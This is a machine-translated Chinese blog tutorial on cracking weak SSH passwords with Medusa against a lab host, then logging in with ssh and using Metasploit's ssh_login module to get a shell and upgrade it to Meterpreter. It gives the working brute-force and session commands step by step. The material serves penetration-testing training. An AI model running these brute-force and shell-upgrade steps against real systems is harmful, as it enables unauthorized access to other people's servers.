当前位置:网站首页>6-5 vulnerability exploitation SSH weak password cracking and utilization
6-5 vulnerability exploitation SSH weak password cracking and utilization
2022-07-04 04:42:00 【Mountain Rabbit 1】
After cracking the password , Get the corresponding user name , You can use ssh Client software , Log in accordingly , After login , We can do many operations , get shell, stay shell among , You can execute the corresponding command
Medusa ssh Weak password cracking
If you are setting SSH The service , The administrator set the user name and password that can be easily guessed out for the convenience of memory ( Weak password ). Then the tester can use the corresponding password tools to authenticate and brutally crack weak passwords , Or the process of cracking the user name and password at the same time . So as to get some user names and passwords that are easy to guess , After cracking it, you can log in to the system with the corresponding user name and password ssh
Weak password cracking , Verified a saying , Flies don't bite seamless eggs , Because we set a weak password , It is likely to be cracked , For our convenience , This leads to the defects of the system , It's very inappropriate
Let's introduce medusa For the specified ssh Service to crack user name and password
medusa -h 192.168.1.100 -u msfadmin -p msfadmin -M ssh
adopt -M Specify the service to crack , appear success Indicates successful cracking , without , It means that our dictionary does not contain a user name and password combination of our login system
First of all, we ping Check the target server
ping 192.168.1.100
medusa
// View help information
medusa -d
adopt -d Here's a list of , Modules or protocols we know , When we crack , We want to get rid of .mod, direct ssh Can
medusa -h 192.168.1.100 -u msfadmin -P /root/Desktop/pass.txt -M ssh
This is the time , Try our password every time , Whether it matches the corresponding user name
SSH Command line tool login
use ssh Client login ssh service , To operate , When there is no graphical interface , We completely need to rely on the command line , Or is it linux Built-in tools , To operate , Complete the operation more efficiently
In general Linux All have ssh client , Used to log in ssh Server side
have access to ssh user name @IP Address Then enter the password according to the prompt
By default 22 Port no. , We don't need to specify the corresponding port , Of course , If our ssh Ports are other ports , We just need -p Specify the corresponding port number
ssh [email protected]
msfadmin
id
ifconfig
After login , You can execute some commands , He just used ssh Service login
Metasploit utilize SSH Login bounce shell
Use Metasploit Can be done ssh Sign in ( According to the result of cracking , Automatic login ), The corresponding Bash shell Connect .
medusa Only crack , And ours metasploit The corresponding result will be returned , So that we can execute orders , He combined medusa and ssh Such an operation of the client
set rhosts 192.168.1.100
set username msfadmin
set password msfadmin
run
sessions -l
msfconsole
//metasploit Command line controlled terminal
use auxiliary/scanner/ssh/ssh_login
show options
set rhosts 192.168.1.100
set username msfadmin
show options
set password msfadmin
show options
run
sessions -l
sessions -i 1
id
ifconfig
Metasploit obtain Meterperter shell
Using the obtained Bash shell, Inject Metasploit in Meterpreter payload So as to obtain more powerful shell.
sessions -u 1
// Enter the id, Will inject the corresponding meterpreter payload
sessions -l
// Use session -l To view the
sessions -i 3
// Enter the corresponding payload id Connect
id
pwd
边栏推荐
- Use NRM and NVM to manage your NPM source and node versions
- 仿《游戏鸟》源码 手游发号评测开服开测合集专区游戏下载网站模板
- 多位科技公司创始人向Entrepreneur First提供高达1.58亿美元的C轮融资,协助其投资下一代全球创新者
- 十字路口通行优先权,十字路口通行规则图解
- Dry goods | detailed explanation of webshell Foundation
- MySQL indexes and transactions
- GUI 应用:socket 网络聊天室
- Emlog用户注册插件 价值80元
- MIN_ RTO dialog
- Self sharing of a graduate
猜你喜欢
Change the background color of Kivy tutorial (tutorial includes source code)
浅谈JVM的那些事
The "functional art" jointly created by Bolang and Virgil abloh in 2021 to commemorate the 100th anniversary of Bolang brand will debut during the exhibition of abloh's works in the museum
RPC Technology
RAC delete damaged disk group
Drozer tool
郑州正清园文化传播有限公司:针对小企业的7种营销技巧
Instructions for LPC interrupt binding under ft2000+
苹果CMS仿西瓜视频大气响应式视频模板源码
ADB tools
随机推荐
【微信小程序】好看的轮播图组件
RPC Technology
两万字带你掌握多线程
Change the background color of Kivy tutorial (tutorial includes source code)
浅谈JVM的那些事
How to view installed r packages in R language
更优雅地远程操作服务器:Paramiko库的实践
Many founders of technology companies provided enterpriser first with a round C financing of up to US $158million to help it invest in the next generation of global innovators
Beipiao programmer, 20K monthly salary, 15W a year, normal?
Longest increasing subsequence problem (do you really know it)
6-4漏洞利用-SSH Banner信息获取
Exploration and practice of eventbridge in the field of SaaS enterprise integration
Kivy教程之 自定义字体(教程含源码)
Network - vxlan
Intersection traffic priority, illustration of intersection traffic rules
MIN_ RTO dialog
Keysight n9320b RF spectrum analyzer solves tire pressure monitoring scheme
Emlog用户注册插件 价值80元
Operate the server remotely more gracefully: the practice of paramiko Library
Kivy教程之 更改背景颜色(教程含源码)